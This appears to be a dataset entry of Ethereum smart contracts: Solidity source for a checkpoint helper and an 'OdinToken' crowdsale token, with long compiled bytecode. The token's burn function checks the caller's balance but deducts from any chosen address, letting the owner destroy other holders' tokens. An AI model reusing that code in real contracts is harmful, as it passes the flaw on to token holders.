uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function _updateCheckpointValueAtNow(
Checkpoint[] storage checkpoints,
uint _oldValue,
uint _value
) internal {
require(_value <= uint128(-1));
require(_oldValue <= uint128(-1));
if (checkpoints.length == 0) {
Checkpoint storage genesis = checkpoints[checkpoints.length++];
genesis.fromBlock = uint128(block.number - 1);
genesis.value = uint128(_oldValue);
}
if (checkpoints[checkpoints.length - 1].fromBlock < block.number) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1];
oldCheckPoint.value = uint128(_value);
}
}
}
|
0x6080604052600436106101085760003560e01c80638650e92a11610095578063c9c5323211610064578063c9c5323214610412578063d7a88e3c14610461578063e4fc6b6d146104c6578063f2fde38b146104d0578063fc8690a21461052157610108565b80638650e92a1461032a57806386989038146103555780638da5cb5b14610380578063a694fc3a146103d757610108565b80633e0a322d116100dc5780633e0a322d146102135780636921091a1461024e578063715018a6146102bd57806378e97925146102d4578063817b1cd2146102ff57610108565b806265318b1461010d578063163db71b146101725780632e17de781461019d5780632e1a7d4d146101d8575b600080fd5b34801561011957600080fd5b5061015c6004803603602081101561013057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610586565b6040518082815260200191505060405180910390f35b34801561017e57600080fd5b50610187610701565b6040518082815260200191505060405180910390f35b3480156101a957600080fd5b506101d6600480360360208110156101c057600080fd5b8101908080359060200190929190505050610707565b005b3480156101e457600080fd5b50610211600480360360208110156101fb57600080fd5b8101908080359060200190929190505050610cbf565b005b34801561021f57600080fd5b5061024c6004803603602081101561023657600080fd5b8101908080359060200190929190505050610f03565b005b34801561025a57600080fd5b506102a76004803603604081101561027157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fd6565b6040518082815260200191505060405180910390f35b3480156102c957600080fd5b506102d26110ba565b005b3480156102e057600080fd5b506102e9611242565b6040518082815260200191505060405180910390f35b34801561030b57600080fd5b50610314611248565b6040518082815260200191505060405180910390f35b34801561033657600080fd5b5061033f61124e565b6040518082815260200191505060405180910390f35b34801561036157600080fd5b5061036a611254565b6040518082815260200191505060405180910390f35b34801561038c57600080fd5b5061039561125a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e357600080fd5b50610410600480360360208110156103fa57600080fd5b8101908080359060200190929190505050611283565b005b34801561041e57600080fd5b5061044b6004803603602081101561043557600080fd5b8101908080359060200190929190505050611684565b6040518082815260200191505060405180910390f35b34801561046d57600080fd5b506104b06004803603602081101561048457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116b0565b6040518082815260200191505060405180910390f35b6104ce6116c8565b005b3480156104dc57600080fd5b5061051f600480360360208110156104f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611769565b005b34801561052d57600080fd5b506105706004803603602081101561054457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611976565b6040518082815260200191505060405180910390f35b6000806105e56105e0600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460075461198e90919063ffffffff16565b611a14565b9050600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481121561069c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6469766964656e642063616c63206f766572666c6f770000000000000000000081525060200191505060405180910390fd5b6106f968010000000000000000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548303611aba90919063ffffffff16565b915050919050565b60045481565b60006009541415801561071b575060095442115b61078d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5374616b696e67206e6f742079657420737461727465642e000000000000000081525060200191505060405180910390fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f81526020018061268f602f913960400191505060405180910390fd5b6108fe600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108f984600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0490919063ffffffff16565b611b4e565b610920600b60055461091b84600554611b0490919063ffffffff16565b611b4e565b61093161092c33610586565b610cbf565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156109955761098e6001600654611b0490919063ffffffff16565b6006819055505b6109aa81600554611b0490919063ffffffff16565b600581905550610a0281600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aa1610a9c600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460075461198e90919063ffffffff16565b611a14565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3033846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610bc157600080fd5b505af1158015610bd5573d6000803e3d6000fd5b505050506040513d6020811015610beb57600080fd5b8101908080519060200190929190505050610c51576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806126696026913960400191505060405180910390fd5b7fb9d33f227f3fa1826b0e39a934bcee3835b3332a74d0b2c2589ec8fc94c2b11f3382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b600060095414158015610cd3575060095442115b610d45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5374616b696e67206e6f742079657420737461727465642e000000000000000081525060200191505060405180910390fd5b80610d4f33610586565b1015610da6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806125ea6034913960400191505060405180910390fd5b610dca610dc5680100000000000000008361198e90919063ffffffff16565b611a14565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610e94573d6000803e3d6000fd5b507fbace9fd79d5ea02ed8b43fa96af07e4e8f859a2f71ff878c748f5c22c57802843382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b610f0b611de1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fcc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060098190555050565b600080600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050141561106957600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506110b4565b6110b1600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083611de9565b90505b92915050565b6110c2611de1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611183576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b60055481565b60075481565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600060095414158015611297575060095442115b611309576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5374616b696e67206e6f742079657420737461727465642e000000000000000081525060200191505060405180910390fd5b80600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156113a957600080fd5b505afa1580156113bd573d6000803e3d6000fd5b505050506040513d60208110156113d357600080fd5b8101908080519060200190929190505050101561143b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806126df6030913960400191505060405180910390fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156114a057611499600160065461202f90919063ffffffff16565b6006819055505b6114a9816120b7565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561158657600080fd5b505af115801561159a573d6000803e3d6000fd5b505050506040513d60208110156115b057600080fd5b8101908080519060200190929190505050611616576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806125c66024913960400191505060405180910390fd5b7fba7a4fcc259e92765d167230b14c7e70479648b69f2a5adcc2b15c372806ec203382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b600080600b80549050141561169d5760055490506116ab565b6116a8600b83611de9565b90505b919050565b60026020528060005260406000206000915090505481565b60003490506000811115611766576116eb8160045461202f90919063ffffffff16565b6004819055506116fa8161230c565b7f3b5b764958bcf10eae6e214b635b729c52c8a4962688629cf597c3167cca20223382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b50565b611771611de1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611832576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061261e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60036020528060005260406000206000915090505481565b6000808314156119a15760009050611a0e565b60008284029050828482816119b257fe5b0414611a09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806126be6021913960400191505060405180910390fd5b809150505b92915050565b6000611a4a60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611aba90919063ffffffff16565b8210611aac576000611aa7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806126446025913960400191505060405180910390fd5b611ab4565b819050611ab5565b5b919050565b6000611afc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123ae565b905092915050565b6000611b4683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612474565b905092915050565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6fffffffffffffffffffffffffffffffff16811115611b8d57600080fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6fffffffffffffffffffffffffffffffff16821115611bcc57600080fd5b600083805490501415611c8057600083848054809190600101611bef9190612534565b81548110611bf957fe5b906000526020600020019050600143038160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550828160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550505b4383600185805490500381548110611c9457fe5b9060005260206000200160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff161015611d7e57600083848054809190600101611cec9190612534565b81548110611cf657fe5b906000526020600020019050438160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550818160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555050611ddc565b600083600185805490500381548110611d9357fe5b906000526020600020019050818160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550505b505050565b600033905090565b60008083805490501415611e005760009050612029565b82600184805490500381548110611e1357fe5b9060005260206000200160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168210611eab5782600184805490500381548110611e6857fe5b9060005260206000200160000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050612029565b82600081548110611eb857fe5b9060005260206000200160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16821015611f4b5782600081548110611f0857fe5b9060005260206000200160000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050612029565b60008090506000600185805490500390505b81811115611fdc576000600260018484010181611f7657fe5b04905084868281548110611f8657fe5b9060005260206000200160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1611611fcf57809250611fd6565b6001810391505b50611f5d565b848281548110611fe857fe5b9060005260206000200160000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16925050505b92915050565b6000808284019050838110156120ad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b612190600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218b84600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202f90919063ffffffff16565b611b4e565b6121b2600b6005546121ad8460055461202f90919063ffffffff16565b611b4e565b6121c78160055461202f90919063ffffffff16565b60058190555061221f81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006122798260075461198e90919063ffffffff16565b905061228481611a14565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006005541461238f57600060085414612340576123356008548261202f90919063ffffffff16565b905060006008819055505b612384612373600554612365680100000000000000008561198e90919063ffffffff16565b611aba90919063ffffffff16565b60075461202f90919063ffffffff16565b6007819055506123ab565b6123a48160085461202f90919063ffffffff16565b6008819055505b50565b6000808311829061245a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561241f578082015181840152602081019050612404565b50505050905090810190601f16801561244c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161246657fe5b049050809150509392505050565b6000838311158290612521576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124e65780820151818401526020810190506124cb565b50505050905090810190601f1680156125135780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b81548183558181111561255b5781836000526020600020918201910161255a9190612560565b5b505050565b6125c291905b808211156125be57600080820160006101000a8154906fffffffffffffffffffffffffffffffff02191690556000820160106101000a8154906fffffffffffffffffffffffffffffffff021916905550600101612566565b5090565b9056fe5374616b65206661696c65642064756520746f206661696c6564207472616e736665722e43616e6e6f74207769746864726177206d6f7265206469766964656e6473207468616e20796f752068617665206561726e65642e4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f766572666c6f772e2043616e6e6f7420636f6e766572742075696e7420746f20696e742e556e7374616b65206661696c65642064756520746f206661696c6564207472616e736665722e43616e6e6f7420756e7374616b65206d6f726520546f6b656e207468616e20796f752068617665207374616b65642e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616e6e6f74207374616b65206d6f726520546f6b656e73207468616e20796f7520686f6c6420756e7374616b65642ea265627a7a723158206c5aec21fe49711d5127c521a82a2bba69f155bf9f39895e5f947a3bbf4b3c6d64736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 5,151 |
0xbf67a3c43198c19643cbf31e8996e0b895f8e759
|
pragma solidity ^0.4.24;
//
// OdinToken Token
//
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract OdinToken {
using SafeMath for uint256;
string public constant name = "OdinChain";
string public constant symbol = "OdinB";
uint public constant decimals = 18;
uint256 OdinEthRate = 10 ** decimals;
uint256 OdinSupply = 15000000000;
uint256 public totalSupply = OdinSupply * OdinEthRate;
uint256 public minInvEth = 0.1 ether;
uint256 public maxInvEth = 1000.0 ether;
uint256 public sellStartTime = 1533052800; // 2018/8/1
uint256 public sellDeadline1 = sellStartTime + 30 days;
uint256 public sellDeadline2 = sellDeadline1 + 30 days;
uint256 public freezeDuration = 30 days;
uint256 public ethOdinRate1 = 3600;
uint256 public ethOdinRate2 = 3600;
bool public running = true;
bool public buyable = true;
address owner;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public whitelist;
mapping (address => uint256) whitelistLimit;
struct BalanceInfo {
uint256 balance;
uint256[] freezeAmount;
uint256[] releaseTime;
}
mapping (address => BalanceInfo) balances;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event BeginRunning();
event Pause();
event BeginSell();
event PauseSell();
event Burn(address indexed burner, uint256 val);
event Freeze(address indexed from, uint256 value);
constructor () public{
owner = msg.sender;
balances[owner].balance = totalSupply;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(whitelist[msg.sender] == true);
_;
}
modifier isRunning(){
require(running);
_;
}
modifier isNotRunning(){
require(!running);
_;
}
modifier isBuyable(){
require(buyable && now >= sellStartTime && now <= sellDeadline2);
_;
}
modifier isNotBuyable(){
require(!buyable || now < sellStartTime || now > sellDeadline2);
_;
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
// 1eth = newRate tokens
function setPublicOfferPrice(uint256 _rate1, uint256 _rate2) onlyOwner public {
ethOdinRate1 = _rate1;
ethOdinRate2 = _rate2;
}
//
function setPublicOfferLimit(uint256 _minVal, uint256 _maxVal) onlyOwner public {
minInvEth = _minVal;
maxInvEth = _maxVal;
}
function setPublicOfferDate(uint256 _startTime, uint256 _deadLine1, uint256 _deadLine2) onlyOwner public {
sellStartTime = _startTime;
sellDeadline1 = _deadLine1;
sellDeadline2 = _deadLine2;
}
function transferOwnership(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function pause() onlyOwner isRunning public {
running = false;
emit Pause();
}
function start() onlyOwner isNotRunning public {
running = true;
emit BeginRunning();
}
function pauseSell() onlyOwner isBuyable isRunning public{
buyable = false;
emit PauseSell();
}
function beginSell() onlyOwner isNotBuyable isRunning public{
buyable = true;
emit BeginSell();
}
//
// _amount in Odin,
//
function airDeliver(address _to, uint256 _amount) onlyOwner public {
require(owner != _to);
require(_amount > 0);
require(balances[owner].balance >= _amount);
// take big number as wei
if(_amount < OdinSupply){
_amount = _amount * OdinEthRate;
}
balances[owner].balance = balances[owner].balance.sub(_amount);
balances[_to].balance = balances[_to].balance.add(_amount);
emit Transfer(owner, _to, _amount);
}
function airDeliverMulti(address[] _addrs, uint256 _amount) onlyOwner public {
require(_addrs.length <= 255);
for (uint8 i = 0; i < _addrs.length; i++) {
airDeliver(_addrs[i], _amount);
}
}
function airDeliverStandalone(address[] _addrs, uint256[] _amounts) onlyOwner public {
require(_addrs.length <= 255);
require(_addrs.length == _amounts.length);
for (uint8 i = 0; i < _addrs.length; i++) {
airDeliver(_addrs[i], _amounts[i]);
}
}
//
// _amount, _freezeAmount in Odin
//
function freezeDeliver(address _to, uint _amount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public {
require(owner != _to);
require(_freezeMonth > 0);
uint average = _freezeAmount / _freezeMonth;
BalanceInfo storage bi = balances[_to];
uint[] memory fa = new uint[](_freezeMonth);
uint[] memory rt = new uint[](_freezeMonth);
if(_amount < OdinSupply){
_amount = _amount * OdinEthRate;
average = average * OdinEthRate;
_freezeAmount = _freezeAmount * OdinEthRate;
}
require(balances[owner].balance > _amount);
uint remainAmount = _freezeAmount;
if(_unfreezeBeginTime == 0)
_unfreezeBeginTime = now + freezeDuration;
for(uint i=0;i<_freezeMonth-1;i++){
fa[i] = average;
rt[i] = _unfreezeBeginTime;
_unfreezeBeginTime += freezeDuration;
remainAmount = remainAmount.sub(average);
}
fa[i] = remainAmount;
rt[i] = _unfreezeBeginTime;
bi.balance = bi.balance.add(_amount);
bi.freezeAmount = fa;
bi.releaseTime = rt;
balances[owner].balance = balances[owner].balance.sub(_amount);
emit Transfer(owner, _to, _amount);
emit Freeze(_to, _freezeAmount);
}
// buy tokens directly
function () external payable {
buyTokens();
}
//
function buyTokens() payable isRunning isBuyable onlyWhitelist public {
uint256 weiVal = msg.value;
address investor = msg.sender;
require(investor != address(0) && weiVal >= minInvEth && weiVal <= maxInvEth);
require(weiVal.add(whitelistLimit[investor]) <= maxInvEth);
uint256 amount = 0;
if(now > sellDeadline1)
amount = msg.value.mul(ethOdinRate2);
else
amount = msg.value.mul(ethOdinRate1);
whitelistLimit[investor] = weiVal.add(whitelistLimit[investor]);
balances[owner].balance = balances[owner].balance.sub(amount);
balances[investor].balance = balances[investor].balance.add(amount);
emit Transfer(owner, investor, amount);
}
function addWhitelist(address[] _addrs) public onlyOwner {
require(_addrs.length <= 255);
for (uint8 i = 0; i < _addrs.length; i++) {
if (!whitelist[_addrs[i]]){
whitelist[_addrs[i]] = true;
}
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner].balance;
}
function freezeOf(address _owner) constant public returns (uint256) {
BalanceInfo storage bi = balances[_owner];
uint freezeAmount = 0;
uint t = now;
for(uint i=0;i< bi.freezeAmount.length;i++){
if(t < bi.releaseTime[i])
freezeAmount += bi.freezeAmount[i];
}
return freezeAmount;
}
function transfer(address _to, uint256 _amount) isRunning onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
uint freezeAmount = freezeOf(msg.sender);
uint256 _balance = balances[msg.sender].balance.sub(freezeAmount);
require(_amount <= _balance);
balances[msg.sender].balance = balances[msg.sender].balance.sub(_amount);
balances[_to].balance = balances[_to].balance.add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) isRunning onlyPayloadSize(3 * 32) public returns (bool success) {
require(_from != address(0) && _to != address(0));
require(_amount <= allowed[_from][msg.sender]);
uint freezeAmount = freezeOf(_from);
uint256 _balance = balances[_from].balance.sub(freezeAmount);
require(_amount <= _balance);
balances[_from].balance = balances[_from].balance.sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to].balance = balances[_to].balance.add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) isRunning public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) {
return false;
}
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner public {
address myAddress = this;
require(myAddress.balance > 0);
owner.transfer(myAddress.balance);
emit Transfer(this, owner, myAddress.balance);
}
function burn(address burner, uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender].balance);
balances[burner].balance = balances[burner].balance.sub(_value);
totalSupply = totalSupply.sub(_value);
OdinSupply = totalSupply / OdinEthRate;
emit Burn(burner, _value);
}
}
|
0x6080604052600436106101cc5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101d6578063095ea7b3146102605780630c3e564a146102985780630ea7c8cd146102ef57806318160ddd1461031357806323b872dd1461033a578063313ce5671461036457806334d05b1f1461037957806335490ee9146103a65780633ccfd60b146103c1578063440991bd146103d65780634a7084bb146103eb57806355d8bbd51461040957806370a082311461041e5780637d4ce8741461043f5780638456cb591461045457806388c7e3971461046957806395d89b411461047e5780639754a7d8146104935780639aea020b146104a85780639b19251a146104bd5780639dc29fac146104de578063a9059cbb14610502578063b885d56014610526578063baa79dd3146105b4578063be9a6555146105c9578063cb60f8b4146105de578063cc00814d146105f3578063cd4217c11461060e578063d0febe4c146101cc578063d70b63421461062f578063d85bd52614610644578063dd62ed3e14610659578063e172dac814610680578063e28a5e6314610695578063edac985b146106aa578063f2fde38b146106ff575b6101d4610720565b005b3480156101e257600080fd5b506101eb610934565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561022557818101518382015260200161020d565b50505050905090810190601f1680156102525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026c57600080fd5b50610284600160a060020a036004351660243561096b565b604080519115158252519081900360200190f35b3480156102a457600080fd5b50604080516020600480358082013583810280860185019096528085526101d4953695939460249493850192918291850190849080828437509497505093359450610a259350505050565b3480156102fb57600080fd5b506101d4600160a060020a0360043516602435610a95565b34801561031f57600080fd5b50610328610bd8565b60408051918252519081900360200190f35b34801561034657600080fd5b50610284600160a060020a0360043581169060243516604435610bde565b34801561037057600080fd5b50610328610d9e565b34801561038557600080fd5b506101d4600160a060020a0360043516602435604435606435608435610da3565b3480156103b257600080fd5b506101d46004356024356110d4565b3480156103cd57600080fd5b506101d46110fc565b3480156103e257600080fd5b506103286111af565b3480156103f757600080fd5b506101d46004356024356044356111b5565b34801561041557600080fd5b506101d46111e0565b34801561042a57600080fd5b50610328600160a060020a0360043516611277565b34801561044b57600080fd5b50610328611292565b34801561046057600080fd5b506101d4611298565b34801561047557600080fd5b506102846112fb565b34801561048a57600080fd5b506101eb611309565b34801561049f57600080fd5b506101d4611340565b3480156104b457600080fd5b506103286113d6565b3480156104c957600080fd5b50610284600160a060020a03600435166113dc565b3480156104ea57600080fd5b506101d4600160a060020a03600435166024356113f1565b34801561050e57600080fd5b50610284600160a060020a03600435166024356114d8565b34801561053257600080fd5b50604080516020600480358082013583810280860185019096528085526101d495369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506115ee9650505050505050565b3480156105c057600080fd5b50610328611681565b3480156105d557600080fd5b506101d4611687565b3480156105ea57600080fd5b506103286116ec565b3480156105ff57600080fd5b506101d46004356024356116f2565b34801561061a57600080fd5b50610328600160a060020a036004351661171a565b34801561063b57600080fd5b50610328611796565b34801561065057600080fd5b5061028461179c565b34801561066557600080fd5b50610328600160a060020a03600435811690602435166117a5565b34801561068c57600080fd5b506103286117d0565b3480156106a157600080fd5b506103286117d6565b3480156106b657600080fd5b50604080516020600480358082013583810280860185019096528085526101d49536959394602494938